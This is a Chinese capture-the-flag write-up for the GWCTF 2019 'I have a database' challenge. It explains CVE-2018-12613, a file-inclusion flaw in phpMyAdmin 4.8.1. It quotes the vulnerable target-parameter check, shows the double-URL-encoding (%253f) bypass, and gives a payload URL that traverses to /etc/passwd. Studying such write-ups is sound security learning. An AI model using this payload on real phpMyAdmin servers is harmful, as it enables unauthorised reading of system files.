zoukankan      html  css  js  c++  java
  • [GWCTF 2019]我有一个数据库

    该题考查cve-2018-12613-PhpMyadmin后台文件包含漏洞
    使用御剑进行扫描发现phpmyadmin/目录,无需密码便可以进入
    查看相关版本信息

      百度一下发现phpmyadmin4.8.1版本文件包含漏洞,问题出在index.php的target参数位置

    // If we have a valid target, let's load that script instead
    if (! empty($_REQUEST['target'])
        && is_string($_REQUEST['target'])
        && ! preg_match('/^index/', $_REQUEST['target'])
        && ! in_array($_REQUEST['target'], $target_blacklist)
        && Core::checkPageValidity($_REQUEST['target'])
    ) {
        include $_REQUEST['target'];
        exit;
    }

    $target_blacklist,target参数黑名单

    $target_blacklist = array (
        'import.php', 'export.php'
    );

    Core::checkPageValidity($_REQUEST['target']),Core类参数校验方法

     1  public static function checkPageValidity(&$page, array $whitelist = [])
     2     {
     3         if (empty($whitelist)) {
     4             $whitelist = self::$goto_whitelist;
     5         }
     6         if (! isset($page) || !is_string($page)) {
     7             return false;
     8         }
     9 
    10         if (in_array($page, $whitelist)) {
    11             return true;
    12         }
    13 
    14         $_page = mb_substr(
    15             $page,
    16             0,
    17             mb_strpos($page . '?', '?')
    18         );
    19         if (in_array($_page, $whitelist)) {
    20             return true;
    21         }
    22 
    23         $_page = urldecode($page);
    24         $_page = mb_substr(
    25             $_page,
    26             0,
    27             mb_strpos($_page . '?', '?')
    28         );
    29         if (in_array($_page, $whitelist)) {
    30             return true;
    31         }
    32 
    33         return false;
    34     }

    问题在于第23行的urldecode($page)方法,存在二次编码绕过

    $_page = urldecode($page);
    %25的url编码为%
    %3f的url编码为?
    %253f-->?

    payLoad:
    这里target参数只要不是黑名单中php文件就可以

    http://725a4060-e628-4f9f-801a-e96075cbfca8.node3.buuoj.cn/phpmyadmin/index.php?target=db_datadict.php%253f../../../../../../etc/passwd

     flag应该位于系统的根目录

  • 相关阅读:
    2019 年年终总结
    Java/C# 中为何需要 Getter/Setter?
    使用 supervisord 设置应用开机启动
    Linux 性能监控与故障排查:主要性能指标说明及监控方法
    「Bug」Jenkins Slave 卡顿与僵尸进程
    HTTP/HTTPS 的监听方法,以及浏览器与服务器的协议协商机制
    查询主机公网ip
    Linux Server Swap 分区设置
    Kubernetes 常见错误
    Kubernetes 学习笔记(五):数据卷
  • 原文地址:https://www.cnblogs.com/gtx690/p/13289555.html
Copyright © 2011-2022 走看看